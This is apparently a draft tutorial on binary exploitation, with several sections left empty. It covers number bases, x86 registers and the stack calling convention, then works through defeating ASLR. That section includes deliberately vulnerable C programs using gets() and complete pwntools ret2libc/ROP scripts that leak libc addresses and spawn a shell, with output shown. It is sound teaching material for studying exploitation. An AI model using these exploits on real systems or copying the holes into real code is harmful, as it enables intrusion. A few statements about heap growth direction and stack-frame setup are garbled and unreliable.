Contents

1 A Crash Course on Computers

1.1 Bits, Bytes, and their Representations

1.1.1 Numbers in different bases

Bits are the fundamental unit of data on a computer. A bit can only be either on or off, 0 or 1. It's awkward to represent data in terms of bits, so they are usually referred to in groups. A string of eight consecutive bits is called a byte, and a pair of two bytes, or 16 bits, is called a word. Bytes are often further grouped into pairs, called double words, or groups of four, called quad words.

Since a bit can only take on one of two values, computers store numbers in base two, or binary. Just as the digits of a number in base 10 are each scaled by a power of 10, each bit in a binary number is scaled by a power of 2. The rightmost bit has a value of either 0 or 1 (scaled by 2^0, or 1), and every other bit is scaled by twice as much as the bit to its right. Therefore, if we zero-index the bits starting from the right, the ith bit is scaled by 2^i.

Example 1.1 (Numbers in base 2)

$$\begin{aligned} 11010110_2 &= 1 \times 2^7 + 1 \times 2^6 + 0 \times 2^5 + 1 \times 2^4 + 0 \times 2^3 + 1 \times 2^2 + 1 \times 2^1 + 0 \times 2^0 \\ &= 128 + 64 + 0 + 16 + 0 + 4 + 2 + 0 \\ &= 214 \end{aligned}$$

Note that the 2 subscript denotes a number written in base 2.

Since it's tedious to write bytes as strings of bits, they are often represented in base 16, or hexadecimal. This representation is convenient since 4 bits can be represented with a single hexadecimal digit. Since there are more hexadecimal digits than decimal ones, we use a-f as digits with values 10-15.

Example 1.2 (Numbers in base 16)

$$\begin{aligned} 11010110_2 &= 1101_2 \times 16^1 + 0110_2 \times 16^0 \\ &= 13 \times 16^1 + 6 \times 16^0 \\ &= \text{0xd6} \end{aligned}$$

Note that the 0x prefix denotes a number written in base 16.

1.1.2 2s complement

Since computers can only store data as bits, there is no inherent way to represent negative numbers. To address this problem, the highest-order bit is given a negative value when negative numbers are needed. This representation for negative numbers is called 2's complement. Whereas a string of n bits normally takes values from 0 to $2^n - 1$, the same n bits in 2's complement can take any values from -2^{n-1} to $2^{n-1} - 1$.

1.1.3 Machine Words

The number of bits that a computer can read, write, and manipulate at a time is called a machine word, not to be confused by the 16-bit words from above. A computer that operates on 16 bits at a time is said to run on a 16-bit architecture. The size of a machine word varies between computers. At the time of writing, most modern computers have 64-bit machine words, and thus run on 64-bit architectures. The size of machine words generally gets smaller as the computer gets older. The original PlayStation and the GameCube ran on 32-bit architectures, and the original GameBoy had an 8-bit architecture. x86 is the most common 32-bit architecture, and it's successor x86-64, is the most common 64-bit architecture.

1.1.4 Endianness

Not all computers store multiple bytes of data in the same order. Some store the most significant byte first, which results in a number like `0x080485a2` being stored as `0x08 0x04 0x85 0xa2`. This is called big-endian byte order, and it is surprisingly rare. Most computers store data in little-endian byte order, which lists the least-significant byte first. The same number `0x080485a2` stored in little-endian byte order would be stored as `0xa2 0x85 0x04 0x08`.

1.2 Computer Model

Although we tend to think of a "computer" as consisting of many parts such as a monitor, hard disk, mouse, CD drive, etc., there are only three components we need to know about in order to exploit software.

1.2.1 The CPU

The Central Processing Unit, or CPU, is responsible for executing the instructions contained in a program. This typically includes performing arithmetic, reading and writing to memory, and making requests to the kernel via syscalls.

1.2.2 Memory

Memory acts as both a scratchpad for the CPU to use while executing a program, and the place where the CPU reads program instructions. It is also used to keep track of function calls and handle recursion. Memory is the *only* place where the CPU can read and write data.

1.2.3 Registers

Registers are very fast memory located on the CPU. Although they are fast, each register can typically only store a single machine word, which means the vast majority of data must reside in main memory.

2 Understanding the Playing Field

2.1 x86 and x86-64

x86 CPUs have eight general-purpose registers. They are called `eax`, `ecx`, `edx`, `ebx`, `esp`, `ebp`, `esi`, `edi`. There are two other registers, `eip`, and `eflags`, which have specific uses and cannot be written to directly. Although each general-purpose register can technically be used for anything, they are conventionally used for specific purposes.

- `eax` (the accumulator) is used to store function return values
- `esp` (the stack pointer) points to the top (lowest address) of the current stack frame
- `ebp` (the base pointer) points to the base (highest) address of the current stack frame
- `eip` (the instruction pointer) points to the next instruction that the CPU will execute. Each time an instruction is executed, the `eip` is set to the next instruction.
- `eflags` (the flags register) contains several single-bit flags that describe the state of the CPU

Some parts of each register can be manipulated independently of others. For example, the lower 16 bits of `eax` are referred to as `ax`. The lower 8 bits of `ax` are referred to as `al`, and the higher 8 bits of `ax` are referred to as `ah`. There is a similar naming convention for `ecx`, `edx`, and `ebx`.

x86-64 extends the x86 registers mentioned above to 64 bits, and in doing so replaces the 'e' prefixes with 'r' prefixes (i.e. `rax`, `rflags`, etc.). It also adds eight more general-purpose registers (`r8` through `r15`), and eight 128-bit XMM registers which are used to pass floating-point arguments.

2.2 Assembly, the Elven Tongue

2.3 Memory Layout

Memory in a running program can be divided into sections, each of which is used for a specific purpose. They are, in order from lower addresses to higher addresses, `.text`, `.data`, `.bss`, `heap`, and `stack`.

- The `.text` section stores the program's executable code and is never writable.
- The `.data` section stores any static or global variables (in C terminology) that are initialized in the source code and writable.
- The `.bss` secition stores any static or global variables that are initialized to zero or not explicitly initialized in the source code.

- The `heap` is a section of memory which can be dynamically allocated at runtime. The heap grows downward, toward higher memory addresses.
- The `stack` is a section of memory which is used to store local variables and handle nested function calls. The stack grows upward, toward lower memory addresses.

2.4 The Stack and Heap

The most important use of the stack is in handling nested function calls. In order to make this work seamlessly, the functions follow a calling convention which outlines instructions for both the calling function (the caller) and the called function (the callee). The calling convention is as follows:

The caller shall:

1. Prepare the callee's arguments by either loading them into registers (x86-64) or pushing them onto the stack in reverse order (x86)
2. Execute the `call` instruction to jump to the new function and push the address of the next instruction onto the stack
3. After the callee returns, clear the stack of any callee arguments

At the *start* of execution, the callee shall:

1. Push the caller's base pointer onto the stack
2. Move the base pointer to point to the caller's saved base pointer
3. Subtract from the base pointer to make room for any local variables

At the *end* of execution, the callee shall:

1. Leave the return value in the accumulator
2. Move the stack pointer to point to the caller's saved base pointer
3. Restore the caller's base pointer by popping if off of the stack
4. Execute the `ret` instruction to return control to the caller

Note that the callee essentially undoes everything it did to build its new stack frame after it finishes execution. This way the caller can continue execution after finishing the calling convention with it's stack frame intact. Additionally, this calling convention allows for the callee to call other functions during it's execution, since the stack frames they build will be popped off the stack after they terminate. This means that we can nest function calls indefinitely as long as there is room on the stack to keep building stack frames!

2.5 ELF Anatomy

An ELF, or Executable and Linkable Format binary

2.6 PLT and GOT

2.7 Stepping through with GDB

3 Tools of the Trade

4 Reverse Engineering

5 Exploiting the Stack

5.1 Memory Corruption

5.2 Shellcoding

5.3 DEP, ROP, and ret2libc

5.4 ASLR

5.4.1 ASLR

ASLR, or Address Space Layout Randomization, is a mitigation technique in which the locations of the stack, heap, and shared libraries are randomized at runtime. This makes ROP and ret2libc attacks more difficult, since the attacker can't reliably jump to those parts of the code. However, ASLR does not randomize code within a single section. This means that if an attacker can leak the address of any library function they can then learn the locations of all of the code in the library.

5.4.2 Exploiting a leak

Consider this program, which intentionally leaks a libc address.

```
/* Defeated by using the leak to bypass ASLR, then using
    ret2libc/ROP */
#include <stdio.h>
#include <stdlib.h>

int main()
{
        char name[32];
        puts("Welcome to the No Security Aggregate");
        puts("Please sign in with your name.");
        printf("By the way, I found this on the floor, is it
            yours? %p\n", **(int**)*(puts+2));
        gets(name);
        printf("Please take a seat, we'll be with you at some
            point this week.\n");
        return 0;
}
```

In the program above, the address of `puts()` is leaked before the program prompts for input. This means given the copy of libc that the program is using, we can use the function offsets to find the location of every other libc function. In particular, the location of any libc function will be [leaked puts address] - [puts offset] + [function offset].

We can get the program's shared libraries by using the 'ldd' command.

```
> ldd leakRop
    linux-gate.so.1 =>  (0xf7763000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7583000)
    /lib/ld-linux.so.2 (0x565e6000)
```

Ignoring the first and last lines, we see that `leakRop` has `libc.so.6` as a dependency, and that it's located on the system at `/lib/i386-linux-gnu/libc.so.6`. Using `objdump`, we can get the offsets of every function in this copy of libc.

```
> readelf -s /lib/i386-linux-gnu/libc.so.6 | grep puts
   205: 0005fca0   464 FUNC    GLOBAL DEFAULT   13
       _IO_puts@@GLIBC_2.0
   434: 0005fca0   464 FUNC    WEAK   DEFAULT   13
       puts@@GLIBC_2.0
   509: 000ebb20  1169 FUNC    GLOBAL DEFAULT   13
       putspent@@GLIBC_2.0
   697: 000ed1d0   657 FUNC    GLOBAL DEFAULT   13
       putsgent@@GLIBC_2.10
  1182: 0005e720   349 FUNC    WEAK   DEFAULT   13
      fputs@@GLIBC_2.0
  1736: 0005e720   349 FUNC    GLOBAL DEFAULT   13
      _IO_fputs@@GLIBC_2.0
  2389: 000680e0   146 FUNC    WEAK   DEFAULT   13
      fputs_unlocked@@GLIBC_2.1
> readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   245: 00112ed0    68 FUNC    GLOBAL DEFAULT   13
       svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13
       __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13
      system@@GLIBC_2.0
```

The output above shows that `puts` and `system` have offsets of `0x0005fca0` and `0x0003ada0` from the start of libc, respectively. Next we can get the address of "/bin/sh" with `strings`.

```
> strings -tx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 15b9ab /bin/sh
```

This is everything we need in order to call `system("/bin/sh")`, as shown by this program.

```
#!/usr/bin/python
from pwn import *
```

```
PUTS_OFFSET   = 0x0005fca0
SYSTEM_OFFSET = 0x0003ada0
BIN_SH_OFFSET = 0x0015b9ab

p = process("./leakRop")
p.readuntil("yours? ")
puts_leak = int(p.readline(), 16)
log.info("leaked puts address: 0x{:>8x}".format(puts_leak))
libc_base_address = puts_leak - PUTS_OFFSET
system_address    = libc_base_address + SYSTEM_OFFSET
bin_sh_address    = libc_base_address + BIN_SH_OFFSET
log.info("found libc base address: 0x{:>8x}".format(
    libc_base_address))
log.info("found system address: 0x{:>8x}".format(system_address
    ))
log.info("found \"/bin/sh\" address: 0x{:>8x}".format(
    bin_sh_address))

rop = "A" * 36 + p32(system_address) + p32(0xffffffff) + p32(
    bin_sh_address)

p.sendline(rop)
p.interactive()
```

When run, the exploit spawns a shell.

```
> ./input_leakRop.py
[+] Starting local process './leakRop': pid 16530
[*] leaked puts address: 0xf762aca0
[*] found libc base address 0xf75cb000
[*] found system address 0xf7605da0
[*] found "/bin/sh" address 0xf77269ab
[*] Switching to interactive mode
Please take a seat, we'll be with you at some point this week.
$ whoami
devneal
$
```

5.4.3 Making a leak

Programs don't typically leak the addresses of their libc functions for free, but once we gain control of the program, we can create a leak of our own. After all, we're free to add any code we want via ret2libc and rop, so why not add code to leak a libc address? Then once we have the libc address, we can cause the program to return to the place where we first gained control and this time use the leak to spawn a shell! Imagine the program below was compiled with DEP/NX and running on a system which had ASLR enabled.

```
/* Defeated by using ROP to leak a libc address from the GOT,
    then using
 * ret2libc/ROP */
#include <stdio.h>
#include <stdlib.h>

int main()
{
        char name[32];
        puts("Welcome to the No Security Aggregate");
        puts("Please sign in with your name.");
        puts("You tricked us last time with that planted
            pointer...we won't get fooled again.");
        gets(name);
        puts("Please take a seat, we'll be with you at some
            point this week.");
        return 0;
}
```

Since the program makes several calls to `puts()`, it must have entries for `puts()` in both its PLT and GOT. We can view them with `objdump` and `readelf`, respectively. We can also find the address of `main()`.

```
> objdump -d -j .plt ../challenges/rops/makeLeak | grep -A 3
    puts
08048310 <puts@plt>:
 8048310:       ff 25 10 a0 04 08       jmp    DWORD PTR ds:0
     x804a010
 8048316:       68 08 00 00 00          push   0x8
 804831b:       e9 d0 ff ff ff          jmp    80482f0 <_init+0
     x28>
> readelf --relocs ../challenges/rops/makeLeak | grep puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
> readelf --syms makeLeak | grep main
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND
         __libc_start_main@GLIBC_2.0 (2)
    55: 00000000     0 FUNC    GLOBAL DEFAULT  UND
        __libc_start_main@@GLIBC_
    61: 08048436    77 FUNC    GLOBAL DEFAULT   14 main
```

We can tell from the output above that `puts()` has a PLT address at `0x08048310` and a GOT address at `0x0804a010`. We also see that `main()` is located at `0x08048436`. In order to leak the location of `puts()`, we will call `puts()` (by it's entry in the PLT) to print it's own libc location (i.e. it's entry in the GOT). We'll then return to `main()` and spawn a shell just as we did before. The following script puts this plan into action.

```
#!/usr/bin/python
from pwn import *

PUTS_PLT_ADDRESS = 0x08048310
```

```
PUTS_GOT_ADDRESS = 0x0804a010
MAIN_ADDRESS     = 0x08048436
PUTS_OFFSET      = 0x0005fca0
SYSTEM_OFFSET    = 0x0003ada0
BIN_SH_OFFSET    = 0x0015b9ab

rop = "A" * 36 + p32(PUTS_PLT_ADDRESS) + p32(MAIN_ADDRESS) +
    p32(PUTS_GOT_ADDRESS)
p = process('./makeLeak')
p.recvuntil('again.\n')
p.sendline(rop)
p.readuntil('week.\n')

puts_leak = u32(p.read(4))
p.readline()
log.info("leaked puts address: 0x{:>8x}".format(puts_leak))
libc_base_address = puts_leak - PUTS_OFFSET
system_address    = libc_base_address + SYSTEM_OFFSET
bin_sh_address    = libc_base_address + BIN_SH_OFFSET
log.info("found libc base address: 0x{:>8x}".format(
    libc_base_address))
log.info("found system address: 0x{:>8x}".format(system_address
    ))
log.info("found \"/bin/sh\" address: 0x{:>8x}".format(
    bin_sh_address))

rop = "A" * 36 + p32(system_address) + p32(0xffffffff) + p32(
    bin_sh_address)
p.sendline(rop)
p.interactive()
```

When the script is run, it does indeed spawn a shell.

```
> ./input_makeLeak.py
[+] Starting local process './makeLeak': pid 22514
[*] leaked puts address: 0xf7636ca0
[*] found libc base address: 0xf75d7000
[*] found system address: 0xf7611da0
[*] found "/bin/sh" address: 0xf77329ab
[*] Switching to interactive mode
Welcome to the No Security Aggregate
Please sign in with your name.
You tricked us last time with that planted pointer...we won't
    get fooled again.
Please take a seat, we'll be with you at some point this week.
$ whoami
devneal
$
```

6 Exploiting the Heap

7 C++